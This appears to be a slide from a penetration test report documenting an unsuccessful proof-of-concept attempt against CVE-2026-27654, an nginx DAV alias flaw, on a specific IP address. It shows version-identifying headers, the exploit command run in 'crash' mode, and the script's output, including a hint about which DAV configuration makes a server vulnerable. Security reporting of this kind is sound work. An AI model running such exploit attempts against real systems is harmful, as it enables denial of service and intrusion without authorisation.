Proof of Concept
Exploit Attempt Unsuccessful
This slide demonstrates ACME Consulting's attempt to actively exploit the identified vulnerability (CVE-2026-27654). While the server is running the vulnerable software version, environmental configurations actively prevented successful execution of the payload.
Evidence 1: Version Identification
Network Headers - 181.119.220.213
▼ General
Request URL
http://181.119.220.213/
Request Method
GET
Status Code
● 304 Not Modified
▼ Response Headers
Connection
keep-alive
Date
Fri, 21 Aug 2026 21:24:27 GMT
Server
nginx/1.28.3
▼ Request Headers
Accept
text/html,application/xhtml+xml,application/xml...
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)...
Evidence 2: Active Exploitation Attempt
acme@kali: ~/Desktop/Pentest
-(acme@kali)-[~/Desktop/Pentest]
$ python3 poc.py --target 181.119.220.213
CVE-2026-27654 -- nginx dav_module DAV alias path handling PoC
--------------------------------------------------------------
Target: http://181.119.220.213
Mode: crash
DAV: /uploads/
[*] Checking target connectivity ...
[+] Target is up
[*] PUT http://181.119.220.213/uploads/triggerfile.txt
[-] PUT failed (405): <html>
<head><title>405 Not Allowed</title></head>
<body>
<center><h1>405 Not Allowed</h1></center>
<hr><center>nginx</center>
[!] PUT failed. Check that the DAV location uses 'alias' + 'dav_methods'.
-(acme@kali)-[~/Desktop/Pentest]
$ █